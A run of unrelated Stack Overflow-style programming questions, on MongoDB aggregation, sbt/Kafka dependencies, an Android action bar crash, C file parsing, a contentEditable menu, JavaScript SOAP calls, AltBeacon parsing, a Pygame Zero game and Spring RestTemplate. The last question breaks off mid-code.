<p>I have 'customers' collection with the following document:</p> <pre><code>{ id: 1, name: 'Customer Name', projects: [ { id: 1000, name: 'Project 1', description: 'Project description', instances: [10, 20], }, { id: 2000, name: 'Project 2', description: 'Project description', instances: [30, 40, 10], } ] } </code></pre> <p>I have another collection 'instances' which looks like the following:</p> <pre><code>[ { id: 10, operatingSystem: 'Microsoft Windows 2012R2', version: '3.1.5', product: { id: 100, name: 'Product 1', vendor: 'Vendor A', }, }, { id: 20, operatingSystem: 'Microsoft Windows 2016', version: '4.1.0', product: { id: 200, name: 'Product 5', vendor: 'Vendor B', }, }, { id: 30, operatingSystem: 'Microsoft Windows 2019', version: '3.0', product: { id: 300, name: 'Product 2', vendor: 'Vendor A', }, }, { id: 40, operatingSystem: 'Linux', version: '1.0', product: { id: 100, name: 'Product 1', vendor: 'Vendor A', } } ] </code></pre> <p>I'm trying to use the aggregation framework to make the results look like the following:</p> <pre><code>{ id: 1, name: 'Customer Name', projects: [ { id: 1000, name: 'Project 1', description: 'Project description', products: [ { id: 100, name: 'Product 1', vendor: 'Vendor A', instances: [ { id: 10, operatingSystem: 'Microsoft Windows 2012R2', version: '3.1.5', }, ], }, { id: 200, name: 'Product 5', vendor: 'Vendor B', instances: [ { id: 20, operatingSystem: 'Microsoft Windows 2016', version: '4.1.0', }, ], }, ], }, { id: 2000, name: 'Project 2', description: 'Project description', products: [ { id: 300, name: 'Product 2', vendor: 'Vendor A', instances: { id: 30, operatingSystem: 'Microsoft Windows 2019', version: '3.0', }, }, { id: 100, name: 'Product 1', vendor: 'Vendor A', instances: [ { id: 40, operatingSystem: 'Linux', version: '1.0', }, { id: 10, operatingSystem: 'Microsoft Windows 2012R2', version: '3.1.5', } ] } ] } ] } </code></pre> <p>The current pipeline I managed to build is:</p> <pre><code>[{$match: { _id: 1 }}, {$unwind: { path: &quot;$projects&quot; } }, {$lookup: { from: 'instances', localField: 'projects.instances', foreignField: '_id', as: 'projects.instances' }}, {$group: { _id: &quot;$projects.instances.product&quot;, test: { &quot;$push&quot;: &quot;$$ROOT&quot; } }}, {$unwind: { path: &quot;$_id&quot; }}, {$unwind: { path: &quot;$test&quot; }}, {$project: { _id: &quot;$test._id&quot;, name: &quot;$test.name&quot;, description: &quot;$test.description&quot;, projects: { _id: &quot;$test.projects._id&quot;, name: &quot;$test.projects.name&quot;, description: &quot;$test.projects.description&quot;, products: { _id: &quot;$_id._id&quot;, name: &quot;$_id.name&quot;, vendor: &quot;$_id.vendor&quot;, instances: &quot;$test.projects.instances&quot;, } } }}, {$group: { _id: &quot;$_id&quot;, name: {&quot;$first&quot;: &quot;$name&quot;}, projects: { &quot;$push&quot;: &quot;$projects&quot; } }}] </code></pre> <p>But I'm getting duplicates in the 'projects' array (if I'm having the same project with a different product, it will show twice instead of having a single project with 2 products in the products array</p> <p>Will appreciate your help with finding the right pipeline stages to manipulate my results are expected</p>
3
2,110
Scala IntelliJ library import errors
<p>I am new to scala and I am trying to import the following libraries in my build.sbt. When IntelliJ does an auto-update I get the following error:</p> <pre><code>Error while importing sbt project: List([info] welcome to sbt 1.3.13 (Oracle Corporation Java 1.8.0_251) [info] loading global plugins from C:\Users\diego\.sbt\1.0\plugins [info] loading project definition from C:\Users\diego\development\Meetup\Stream-Processing\project [info] loading settings for project stream-processing from build.sbt ... [info] set current project to Stream-Processing (in build file:/C:/Users/diego/development/Meetup/Stream-Processing/) [info] sbt server started at local:sbt-server-80d70f9339b81b4d026a sbt:Stream-Processing&gt; [info] Defining Global / sbtStructureOptions, Global / sbtStructureOutputFile and 1 others. [info] The new values will be used by cleanKeepGlobs [info] Run `last` for details. [info] Reapplying settings... [info] set current project to Stream-Processing (in build file:/C:/Users/diego/development/Meetup/Stream-Processing/) [info] Applying State transformations org.jetbrains.sbt.CreateTasks from C:/Users/diego/.IntelliJIdea2019.3/config/plugins/Scala/repo/org.jetbrains/sbt-structure-extractor/scala_2.12/sbt_1.0/2018.2.1+4-88400d3f/jars/sbt-structure-extractor.jar [info] Reapplying settings... [info] set current project to Stream-Processing (in build file:/C:/Users/diego/development/Meetup/Stream-Processing/) [warn] [warn] Note: Unresolved dependencies path: [error] stack trace is suppressed; run 'last update' for the full output [error] stack trace is suppressed; run 'last ssExtractDependencies' for the full output [error] (update) sbt.librarymanagement.ResolveException: Error downloading org.apache.kafka:kafka-clients_2.11:2.3.1 [error] Not found [error] Not found [error] not found: C:\Users\diego\.ivy2\local\org.apache.kafka\kafka-clients_2.11\2.3.1\ivys\ivy.xml [error] not found: https://repo1.maven.org/maven2/org/apache/kafka/kafka-clients_2.11/2.3.1/kafka-clients_2.11-2.3.1.pom [error] (ssExtractDependencies) sbt.librarymanagement.ResolveException: Error downloading org.apache.kafka:kafka-clients_2.11:2.3.1 [error] Not found [error] Not found [error] not found: C:\Users\diego\.ivy2\local\org.apache.kafka\kafka-clients_2.11\2.3.1\ivys\ivy.xml [error] not found: https://repo1.maven.org/maven2/org/apache/kafka/kafka-clients_2.11/2.3.1/kafka-clients_2.11-2.3.1.pom [error] Total time: 2 s, completed Jun 28, 2020 12:11:24 PM [info] shutting down sbt server) </code></pre> <p>This is my build.sbt file:</p> <pre><code>name := &quot;Stream-Processing&quot; version := &quot;1.0&quot; scalaVersion := &quot;2.11.8&quot; libraryDependencies += &quot;org.apache.spark&quot; %% &quot;spark-sql&quot; % &quot;2.4.4&quot; // https://mvnrepository.com/artifact/org.apache.spark/spark-sql-kafka-0-10_2.12 libraryDependencies += &quot;org.apache.spark&quot; %% &quot;spark-sql-kafka-0-10&quot; % &quot;2.4.4&quot; // https://mvnrepository.com/artifact/org.apache.kafka/kafka-clients libraryDependencies += &quot;org.apache.kafka&quot; %% &quot;kafka-clients&quot; % &quot;2.3.1&quot; // https://mvnrepository.com/artifact/mysql/mysql-connector-java libraryDependencies += &quot;mysql&quot; % &quot;mysql-connector-java&quot; % &quot;8.0.18&quot; // https://mvnrepository.com/artifact/org.mongodb.spark/mongo-spark-connector libraryDependencies += &quot;org.mongodb.spark&quot; %% &quot;mongo-spark-connector&quot; % &quot;2.4.1&quot; </code></pre> <p>I made a Scala project just to make sure Spark works and my python project using Kafka works as well so I am sure it's not a spark/kafka problem. Any reason why I am getting that error?</p>
3
1,446
This Activity already has an action bar supplied by the window decor. after updating android studio
<p>I tried all solutions from this <a href="https://stackoverflow.com/questions/26515058/this-activity-already-has-an-action-bar-supplied-by-the-window-decor">link</a> but none of them works for me</p> <pre><code>Process: org.dmfs.tasks, PID: 12137 java.lang.RuntimeException: Unable to start activity ComponentInfo{org.dmfs.tasks/org.dmfs.tasks.Main.TimerActivity}: java.lang.IllegalStateException: This Activity already has an action bar supplied by the window decor. Do not request Window.FEATURE_SUPPORT_ACTION_BAR and set windowActionBar to false in your theme to use a Toolbar instead. at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2817) at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2892) at android.app.ActivityThread.-wrap11(Unknown Source:0) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1593) at android.os.Handler.dispatchMessage(Handler.java:105) at android.os.Looper.loop(Looper.java:164) at android.app.ActivityThread.main(ActivityThread.java:6541) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.Zygote$MethodAndArgsCaller.run(Zygote.java:240) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:767) Caused by: java.lang.IllegalStateException: This Activity already has an action bar supplied by the window decor. Do not request Window.FEATURE_SUPPORT_ACTION_BAR and set windowActionBar to false in your theme to use a Toolbar instead. at androidx.appcompat.app.AppCompatDelegateImpl.setSupportActionBar(AppCompatDelegateImpl.java:408) at androidx.appcompat.app.AppCompatActivity.setSupportActionBar(AppCompatActivity.java:150) at org.dmfs.tasks.Main.TimerActivity.onCreate(TimerActivity.java:173) at android.app.Activity.performCreate(Activity.java:6975) at android.app.callActivityOnCreate(Instrumentation.java:1213) at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2770) at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2892)  at android.app.ActivityThread.-wrap11(Unknown Source:0)  at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1593)  at android.os.Handler.dispatchMessage(Handler.java:105)  at android.os.Looper.loop(Looper.java:164)  at android.app.ActivityThread.main(ActivityThread.java:6541)  at java.lang.reflect.Method.invoke(Native Method)  at com.android.internal.os.Zygote$MethodAndArgsCaller.run(Zygote.java:240)  at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:767) </code></pre> <p>my theme in styles.xml:</p> <pre><code>&lt;style name="AppTheme" parent="Theme.MaterialComponents.NoActionBar"&gt; &lt;item name="colorPrimary"&gt;@color/white&lt;/item&gt; &lt;item name="colorPrimaryVariant"&gt;@color/white&lt;/item&gt; &lt;item name="colorOnPrimary"&gt;#000&lt;/item&gt; &lt;item name="colorSecondary"&gt;@color/teal200&lt;/item&gt; &lt;item name="colorSecondaryVariant"&gt;@color/teal300&lt;/item&gt; &lt;item name="colorOnSecondary"&gt;@color/white&lt;/item&gt; &lt;item name="android:colorBackground"&gt;@color/gray1000&lt;/item&gt; &lt;item name="colorOnBackground"&gt;@color/white&lt;/item&gt; &lt;item name="colorSurface"&gt;@color/black&lt;/item&gt; &lt;item name="colorOnSurface"&gt;@color/white&lt;/item&gt; &lt;item name="colorPrimaryDark"&gt;@color/white&lt;/item&gt; &lt;item name="android:windowBackground"&gt;@color/black&lt;/item&gt; &lt;item name="android:textColorPrimary"&gt;@android:color/black&lt;/item&gt; &lt;item name="appBarColor"&gt;@color/black&lt;/item&gt; &lt;item name="cardViewColor"&gt;@color/black&lt;/item&gt; &lt;item name="alertDialogColor"&gt;@color/gray1000&lt;/item&gt; &lt;item name="viewInflaterClass"&gt;androidx.appcompat.app.AppCompatViewInflater&lt;/item&gt; &lt;item name="windowActionModeOverlay"&gt;true&lt;/item&gt; &lt;item name="android:actionModeCloseDrawable"&gt;@drawable/ic_clear&lt;/item&gt; &lt;item name="actionModeStyle"&gt;@style/ActionModeStyle&lt;/item&gt; &lt;item name="alertDialogTheme"&gt;@style/DialogTheme&lt;/item&gt; &lt;item name="palette"&gt;@array/lightPalette&lt;/item&gt; &lt;item name="fontFamily"&gt;@font/app_font&lt;/item&gt; &lt;item name="windowNoTitle"&gt;true&lt;/item&gt; &lt;item name="windowActionBar"&gt;false&lt;/item&gt; &lt;/style&gt; </code></pre> <p>theme Activity in my manifest:</p> <pre><code> &lt;activity android:name="org.dmfs.tasks.Main.TimerActivity" android:showOnLockScreen="true" android:launchMode="singleTask" android:theme="@style/AppTheme"&gt; </code></pre> <p>Code from the Activity:</p> <pre><code>protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); EventBus.getDefault().register(this); } ThemeHelper.setTheme(this); ActivityMain3Binding binding = DataBindingUtil.setContentView(this, R.layout.activity_main3); mBlackCover = binding.blackCover; mToolbar = binding.bar; mTimeLabel = binding.timeLabel; mTutorialDot = binding.tutorialDot; mBoundsView = binding.main; mViewModel = ViewModelProviders.of(this).get(TimerActivityViewModel.class); setupTimeLabelEvents(); setSupportActionBar(mToolbar); if (getSupportActionBar() != null) { getSupportActionBar().setTitle(null); } </code></pre> <p>the error produces by this line : setSupportActionBar(mToolbar); i want to use a toolbar from activity_main with the ID "bar" instead of the default action bar.How can i solve this?</p> <p>note: I didn't have this error, it was produced suddenly when I updated android studio canary to 3.6</p>
3
2,297
why am I getting segmentation fault on the code below?
<p>I have a txt file where I just want to get lines bigger than 12 characters. Than these lines are inserted in a variable called graph of type graph_node.</p> <p>txt file:</p> <pre><code>1,"execCode(workStation,root)","OR",0 2,"RULE 4 (Trojan horse installation)","AND",0 3,"accessFile(workStation,write,'/usr/local/share')","OR",0 4,"RULE 16 (NFS semantics)","AND",0 5,"accessFile(fileServer,write,'/export')","OR",0 6,"RULE 10 (execCode implies file access)","AND",0 7,"canAccessFile(fileServer,root,write,'/export')","LEAF",1 6,7,-1 </code></pre> <p>graph node type:</p> <pre><code>#ifndef Graph_Structure #define Graph_Structure struct Graph_Node{ char id[50]; char node_name[50]; struct Graph_Node* next; struct Graph_Node* edges; }; typedef struct Graph_Node graph_node; #endif </code></pre> <p>this is the method to insert data into graph variable:</p> <pre><code>void insert_node(graph_node** node, graph_node* data){ printf("\nINSERTING\n"); graph_node* temp = (graph_node*)malloc(sizeof(graph_node)); for(int i = 0; i &lt; strlen(data-&gt;id); i++) temp-&gt;id[i] = data-&gt;id[i]; for(int i = 0; i &lt; strlen(data-&gt;node_name) - 1; i++) temp-&gt;node_name[i] = data-&gt;node_name[i]; temp -&gt; next = *node; *node = temp; } </code></pre> <p>this is the method to get the lines in the txt file bigger than 12 characters:</p> <pre><code>void generate_nodes(graph_node** graph, char* file_name){ graph_node* data = (graph_node*)malloc(sizeof(graph_node)); FILE* f_Data_Pointer = fopen(file_name, "r"); FILE* f_Aux_Pointer = fopen(file_name, "r"); char c = 0; char line[256]; int counter = 0; int q = 0; //quotation marks bool jump_line = false; while(!feof(f_Data_Pointer)){ c = 0; memset(line, 0, sizeof(line)); while(c != '\n' &amp;&amp; !feof(f_Aux_Pointer)){ // check line c = fgetc(f_Aux_Pointer); line[counter] = c; counter++; } if(strlen(line) &gt; 12){ //lines with no edges /*line[counter-3] != '-' &amp;&amp; line[counter-2] != '1'*/ int size = strlen(line); printf("\nline size: %d\n", size); counter = 0; c = 0; while(c != ','){ //id c = fgetc(f_Data_Pointer); if(c != ','){ data-&gt;id[counter] = c; counter++; } printf("%c", c); } counter = 0; c = 0; while(1){ //node_name c = fgetc(f_Data_Pointer); if(c != '"'){ data-&gt;node_name[counter] = c; counter++; } else{ q++; } if(q &gt; 1 &amp;&amp; c == ',') break; printf("%c", c); } counter = 0; c = 0; while(c != '\n'){ c = fgetc(f_Data_Pointer); printf("%c", c); } insert_node(graph, data); memset(data-&gt;id, 0, sizeof(data-&gt;id)); memset(data-&gt;node_name, 0, sizeof(data-&gt;node_name)); } else{ //lines with edges while(c != '\n' &amp;&amp; !feof(f_Data_Pointer)){ c = fgetc(f_Data_Pointer); } } } fclose(f_Data_Pointer); fclose(f_Aux_Pointer); } </code></pre> <p>I am getting the errors inside the insert method on the commands "for" in "strlen" it says that data->id and data->node_name are not initialized but I don't understand why. I used malloc on data: </p> <pre><code>graph_node* data = (graph_node*)malloc(sizeof(graph_node)); </code></pre> <p>error:</p> <pre><code>Conditional jump or move depends on uninitialised value(s) ==3612== at 0x4C30B18: strcpy (vg_replace_strmem.c:510) ==3612== by 0x4008B2: insert_node (mulval.c:44) ==3612== by 0x400C03: generate_nodes (mulval.c:159) ==3612== by 0x400CE8: main (mulval.c:187) </code></pre>
3
2,093
Unclickable context menu inside content editable
<p>I have a little issue with my context menu inside a content editable. I think it's a style issue but i can't figure out what it's causing it. Here is the thing, my context menu is showing where he is suposed to, with the value he is suposed to have. But it seems like it is only a block for him and not a list of P element Inside my DIV element.</p> <p><a href="https://i.stack.imgur.com/XoJf2.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/XoJf2.png" alt="enter image description here"></a></p> <p>As you can see we can't click on the element Inside the context Menu.</p> <p>My CSS : </p> <pre><code>.ctxmenu { display: block; position: absolute; height: auto; padding: 0px; margin: 0; margin-left: 0.5em; margin-top: 0.5em; border: 1px solid black; background: #F8F8F8; z-index: 11; overflow: visible; } .ctxline { display: block; margin: 0px; padding: 0px 0px 0px 3px; border: 1px solid #F8F8F8; overflow: visible; } .ctxline:hover { border: 1px solid #BBB; background-color: #F0F0F0; background-repeat: repeat-x; } </code></pre> <p>The content editable CSS :</p> <pre><code>.rootClass { border:1 solid buttonface; border:2 groove buttonhighlight; OVERFLOW: scroll; OVERFLOW-X: hidden; OVERFLOW-Y: auto; WIDTH: 762px; POSITION: relative; TOP: 65px; left: 10px; HEIGHT: 88%; WORD-WRAP: break-word; FONT-FAMILY :Times New Roman; background-color: white; } .menu_editeur { border : 0; background-color : #cccccc; } </code></pre> <p>the HTML : </p> <pre><code>&lt;DIV id=edth_corps contentEditable=true style="WORD-WRAP: break-word; FONT-SIZE: 12pt; BORDER-TOP: buttonhighlight 2px groove; HEIGHT: 400px; FONT-FAMILY: Helvetica; BORDER-RIGHT: buttonhighlight 2px groove; WIDTH: 690px; OVERFLOW-X: hidden; BORDER-BOTTOM: buttonhighlight 2px groove; POSITION: absolute; LEFT: 10px; BORDER-LEFT: buttonhighlight 2px groove; Z-INDEX: 4; TOP: 132px; BACKGROUND-COLOR: white" name="lettre" unselectable="" comportement="F"&gt; &lt;P&gt;&lt;SPAN id=0 class=erreurOrthographe oncontextmenu="rightClickMustWork(this);return false"&gt;tset&lt;/SPAN&gt; pour &lt;SPAN id=1 class=erreurOrthographe oncontextmenu="rightClickMustWork(this);return false"&gt;vior&lt;/SPAN&gt; &lt;DIV id=ctxmenu1 class=ctxmenu contentEditable=false style="CURSOR: pointer; LEFT: 59px; TOP: 15px"&gt; &lt;P onclick=alertMe(); class=ctxline&gt;viorne&lt;/P&gt; &lt;P onclick=alertMe(); class=ctxline&gt;viornes&lt;/P&gt; &lt;/DIV&gt; &lt;/P&gt; &lt;/DIV&gt; </code></pre> <p>Or if you know any properties that might end up doing this, my cowerker may have hide some CSS on other place (they did not use a CSS file to put all style inside ...).</p> <p>Example of what he should do :</p> <p><a href="https://i.stack.imgur.com/HPvdS.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/HPvdS.png" alt="enter image description here"></a></p>
3
1,262
Error when consuming a web service with JavaScript
<p>I am trying to consume a web service ( <a href="http://www.webservicex.net/CurrencyConvertor.asmx?wsdl" rel="nofollow">http://www.webservicex.net/CurrencyConvertor.asmx?wsdl</a> ) using JavaScript:</p> <pre><code>&lt;script type="text/javascript"&gt; function soap() { var xmlhttp = new XMLHttpRequest(); xmlhttp.open('GET', 'http://www.webservicex.net/CurrencyConvertor.asmx?wsdl',true); var sr = '&lt;?xml version="1.0" encoding="utf-8"?&gt;' + '&lt;soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://www.webserviceX.NET/"&gt;'+ '&lt;soapenv: Header/&gt;'+ '&lt;soapenv: Body&gt;'+ '&lt;web:ConversionRate&gt;'+ '&lt;web:FromCurrency&gt;EUR&lt;/web:FromCurrency&gt;'+ '&lt;web:ToCurrency&gt;TND&lt;/web:ToCurrency&gt;'+ '&lt;/web:ConversionRate&gt;'+ '&lt;/soapenv: Body&gt;'+ '&lt;/soapenv:Envelope&gt;'; xmlhttp.onreadystatechange = function (e) { alert('onready'); if (xmlhttp.readyState == 4) { if (xmlhttp.status == 200) { alert('done use firebug to see response'); } } if (xmlhttp.readyState == 0) { alert('open() has not been called yet'); } if (xmlhttp.readyState == 1) { alert('send() has not been called yet'); } if (xmlhttp.readyState == 2) { alert('send() has been called, ...'); } if (xmlhttp.readyState == 3) { alert('Interactive - Downloading'); } else alert('Consuming Error '+e.message); } // Send the POST request xmlhttp.setRequestHeader("SOAPAction", "http://www.webservicex.net/CurrencyConvertor/"); xmlhttp.setRequestHeader('Content-Type', 'text/xml'); xmlhttp.send(sr); alert("Hi WS"); // send request // ... } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;form&gt; &lt;input type="button" value="WS" onclick="soap();"&gt; &lt;/form&gt; &lt;/form&gt; </code></pre> <p>In the execution I got the different messages mentioned in the <code>onreadystatechange()</code> function (even the error one!) but I couldn't know how to get the answer returned by the web service (I tried with this line <code>alert(xmlhttp.responseXML);</code> but in vain ), I don't know if I am doing it right and how to display the web service reply.</p>
3
1,237
AltBeacon ignores pdu type of my beacon packages
<p>I'm using AltBeacon library to work with my beacons (provided by Shenzhen Minew Technologies Co., Ltd.). I use following</p> <pre><code>beaconManager.getBeaconParsers().add(new BeaconParser(). setBeaconLayout("m:2-3=0215,i:4-19,i:20-21,i:22-23,p:24-24")); </code></pre> <p>to set layout. In my logcat I see RSSI values coming from my beacons like:</p> <pre><code>06-21 01:50:27.091 13496-13507/com.example.tkobilov.minewtestapp D/BluetoothAdapter﹕ onScanResult() - Device=CD:A6:29:2F:08:26 RSSI=-73 06-21 01:50:27.503 13496-13508/com.example.tkobilov.minewtestapp D/BluetoothAdapter﹕ onScanResult() - Device=D3:EB:21:87:9D:7E RSSI=-58 06-21 01:50:27.508 13496-13582/com.example.tkobilov.minewtestapp D/BluetoothAdapter﹕ onScanResult() - Device=D3:EB:21:87:9D:7E RSSI=-59 </code></pre> <p>However in</p> <pre><code>protected Beacon fromScanData(byte[] bytesToProcess, int rssi, BluetoothDevice device, Beacon beacon) { BleAdvertisement advert = new BleAdvertisement(bytesToProcess); Pdu pduToParse = null; for (Pdu pdu: advert.getPdus()) { if (pdu.getType() == Pdu.GATT_SERVICE_UUID_PDU_TYPE || pdu.getType() == Pdu.MANUFACTURER_DATA_PDU_TYPE) { pduToParse = pdu; if (LogManager.isVerboseLoggingEnabled()) { LogManager.d(TAG, "Processing pdu type %02X: %s with startIndex: %d, endIndex: %d", pdu.getType(), bytesToHex(bytesToProcess), pdu.getStartIndex(), pdu.getEndIndex()); } break; } else { if (LogManager.isVerboseLoggingEnabled()) { LogManager.d(TAG, "Ignoring pdu type %02X", pdu.getType()); } } </code></pre> <p>I every time come to "Ignoring pdu type...". I checked bytesToProcess array. Every time it has just 1st and 2nd nonzero values. Other values are zero. BeaconCFG application recommended by Minew founds these beacons without any problems but I need AltBeacon for my project. What might be the reason of this? </p> <p>My LogCat output:</p> <blockquote> <p>D/BluetoothDevice﹕ mAddress: EE:74:8B:CA:DB:F1 D/BluetoothAdapter﹕ onScanResult() - Device=EE:74:8B:CA:DB:F1 RSSI=-52 D/CycledLeScannerForJellyBeanMr2﹕ got record D/BluetoothDevice﹕ mAddress: EE:74:8B:CA:DB:F1 D/BeaconParser﹕ Ignoring pdu type 01 D/BeaconParser﹕ Ignoring pdu type 0A D/BeaconParser﹕ No PDUs to process in this packet. D/BeaconParser﹕ No PDUs to process in this packet. D/BeaconParser﹕ Ignoring pdu type 0A D/BeaconParser﹕ Ignoring pdu type 01 D/BeaconParser﹕ No PDUs to process in this packet. D/BeaconParser﹕ No PDUs to process in this packet. D/BluetoothAdapter﹕ onScanResult() - Device=ED:EE:AD:02:1B:30 RSSI=-62 D/CycledLeScannerForJellyBeanMr2﹕ got record D/BluetoothDevice﹕ mAddress: ED:EE:AD:02:1B:30 D/BluetoothAdapter﹕ onScanResult() - Device=ED:EE:AD:02:1B:30 RSSI=-62 D/CycledLeScannerForJellyBeanMr2﹕ got record D/BluetoothDevice﹕ mAddress: ED:EE:AD:02:1B:30 D/BeaconParser﹕ Ignoring pdu type 01 D/BeaconParser﹕ No PDUs to process in this packet. D/BeaconParser﹕ Ignoring pdu type 01 D/BeaconParser﹕ No PDUs to process in this packet. D/BeaconParser﹕ Ignoring pdu type 0A D/BeaconParser﹕ No PDUs to process in this packet. D/BeaconParser﹕ Ignoring pdu type 0A D/BeaconParser﹕ No PDUs to process in this packet. D/CycledLeScanner﹕ Waiting to stop scan cycle for another 98 milliseconds D/CycledLeScanner﹕ Done with scan cycle D/BluetoothAdapter﹕ isEnabled D/CycledLeScanner﹕ stopping bluetooth le scan D/BluetoothAdapter﹕ stopLeScan() D/CycledLeScanner﹕ starting a new scan cycle D/BluetoothAdapter﹕ isEnabled D/CycledLeScanner﹕ starting a new bluetooth le scan D/BluetoothAdapter﹕ startLeScan(): null D/BluetoothAdapter﹕ onClientRegistered() - status=0 clientIf=1 D/CycledLeScanner﹕ Waiting to stop scan cycle for another 1100 milliseconds</p> </blockquote> <p><strong>Content of my PDUs</strong></p> <blockquote> <p>D/CycledLeScanner﹕ Waiting to stop scan cycle for another 1100 milliseconds D/CycledLeScanner﹕ Scan started D/BluetoothAdapter﹕ onScanResult() - Device=EE:74:8B:CA:DB:F1 RSSI=-63 D/CycledLeScannerForJellyBeanMr2﹕ got record D/BluetoothDevice﹕ mAddress: EE:74:8B:CA:DB:F1 D/BeaconParser﹕ Ignoring pdu type 01 D/BeaconParser﹕ No PDUs to process in this packet -- 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 seen D/BeaconParser﹕ Ignoring pdu type 01 D/BeaconParser﹕ No PDUs to process in this packet -- 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 seen D/BluetoothAdapter﹕ onScanResult() - Device=EE:74:8B:CA:DB:F1 RSSI=-63</p> </blockquote>
3
2,010
Im trying to create a space dodge game and I'm having a few issues
<p>Basically I'm trying to have it so that when the ship touches the meteor it plays an explode animation. I'm using colour detection for this as when i used <code>player.colliderect(name)</code> it was really inaccurate and began the animation when it was far away from the asteroid. So im using colour detection now in hopes that it'll work better and be more accurate. This is the code i tried making for that (i know its commented out):</p> <pre class="lang-py prettyprint-override"><code># pixel_colour = screen.get_at(player.pos) #collision with colour makes ship explode # red = pixel_colour[0] # blue = pixel_colour[1] # green = pixel_colour[2] # if red and green and blue != 0: # print(&quot;oof&quot;) # gameover() </code></pre> <p>Here is the <code>gameover()</code> subroutine:</p> <pre class="lang-py prettyprint-override"><code>def gameover(): #ship exploding animation player.image = 'explode.png' clock.schedule_unique(game_over, 0.3) def game_over(): player.image = 'explode1.png' clock.schedule_unique(overgame, 0.3) def overgame(): player.image = 'explode2.png' vel = 0 #stop the ship from moving (doesnt work) </code></pre> <p>it says &quot;screen&quot; doesn't have the attribute &quot;get_at&quot; so i tried it with &quot;surface&quot; instead of &quot;screen&quot; and it said that &quot;surface is not defined&quot; I really dont know what to do with it... Also i tried to make the player stop being able to move when they get a game over (as seen inside the second bit of code when i make <code>vel</code> 0 it says &quot;vel is not defined&quot; and &quot;vel is used before assignment&quot;) Heres my full code so you know what im doing :D</p> <pre class="lang-py prettyprint-override"><code>import pgzrun import pygame import random WIDTH = 850 HEIGHT = 425 #sprites player = Actor('ship.png') player.pos = 100, 56 foe = Actor('foe.png') foe.pos = 200, 112 foe2 = Actor('foe.png') foe2.pos = 200, 112 title = Actor('title2.png') #calling sprites and saying their pos title.pos = 400, 212 cont = Actor('cont.png') cont.pos = 470, 300 vel = 5 music.play(&quot;temp.mp3&quot;) #controls def draw(): screen.clear() screen.fill((0, 0, 0)) foe.draw() foe2.draw() player.draw() title.draw() cont.draw() def update(): keys = pygame.key.get_pressed() x, y = player.pos #controls x += (keys[pygame.K_d] - keys[pygame.K_a]) * vel y += (keys[pygame.K_s] - keys[pygame.K_w]) * vel player.pos = x, y if player.left &gt; WIDTH: #if player hits right side of screen it takes the player to the other side of the screen player.right = 0 # pixel_colour = screen.get_at(player.pos) #collision with colour makes ship explode # red = pixel_colour[0] # blue = pixel_colour[1] # green = pixel_colour[2] # if red and green and blue != 0: # print(&quot;oof&quot;) # gameover() def foeupdate(): moveamount = 0 while moveamount &lt;= 5: fx, fy = foe.pos #making asteroid appear in random places. fx = random.randint(0, 850) fy = random.randint(0, 425) duration = random.randint(0, 5) animate(foe, pos = (fx, fy), duration) moveamount =+ 1 #foe.pos = fx, fy def otherimage(): #animation of ship player.image = 'ship.png' clock.schedule_unique(imagey, 0.3) def imagey(): player.image = 'ship1.png' clock.schedule_unique(otherimage, 0.3) def gameover(): #ship exploding animation player.image = 'explode.png' clock.schedule_unique(game_over, 0.3) def game_over(): player.image = 'explode1.png' clock.schedule_unique(overgame, 0.3) def overgame(): player.image = 'explode2.png' vel = 0 #stop the ship from moving (doesnt work) imagey() foeupdate() pgzrun.go() </code></pre> <p>also i have experimented with wrapping (as you can see on the line that goes <code>if player.left &gt; WIDTH: player.right = 0</code>) i would like this to be the same with the other sides as well. But im trying to work this out at the moment so if you don't talk about this then its fine because im sure i can figure it out haha :D</p> <p>so the code is working perfectly fine but i would like to get these things working as its the core of the game. Thanks if you can help :D</p>
3
1,673
REST api returning json but configured as XML?
<p>I'm trying to get an XML response from my server but for some reason it still returns JSON. Maybe I'm misunderstanding what setAccept and setContentType are? At the moment I'm thinking that the get request is in XML but the client is only accepting / expecting json? </p> <p>I've tried setting headers.setAccept(Arrays.asList(MediaType.APPLICATION_JSON)); to XML instead but it ends up giving me an error "Cannot find representation". I also took out JSON from the consumes = "" but it stopped working when i did that too.</p> <p>RestClient.java</p> <pre><code>public class RestClient { public static void getJsonEmployee(String id) throws JSONException, IOException { String uri = "http://localhost:8080/employees/" + id; RestTemplate restTemplate = new RestTemplate(); HttpHeaders headers = new HttpHeaders(); headers.setAccept(Arrays.asList(MediaType.APPLICATION_JSON)); headers.setContentType((MediaType.APPLICATION_XML)); HttpEntity entity = new HttpEntity(headers); ResponseEntity&lt;String&gt; response = restTemplate.exchange(uri, HttpMethod.GET, entity, String.class); String result = response.getBody(); System.out.println(result); } public static void postJsonEmployee(String id, String name, String description) { final String uri = "http://localhost:8080/employees/"; Employee newemp = new Employee(id, name, description); RestTemplate restTemplate = new RestTemplate(); HttpHeaders httpHeaders = restTemplate.headForHeaders(uri); httpHeaders.setContentType(MediaType.APPLICATION_JSON); Employee result = restTemplate.postForObject( uri, newemp, Employee.class); httpHeaders.setContentType(MediaType.APPLICATION_JSON); } public static void main(String[] args) throws IOException, JSONException { System.out.println("GET or POST?"); BufferedReader getpost = new BufferedReader(new InputStreamReader(System.in)); String selection = getpost.readLine(); switch(selection) { case "GET": System.out.println("Type in the employee's ID"); BufferedReader reader = new BufferedReader(new InputStreamReader(System.in)); String employeeid = reader.readLine(); getJsonEmployee(employeeid); break; case 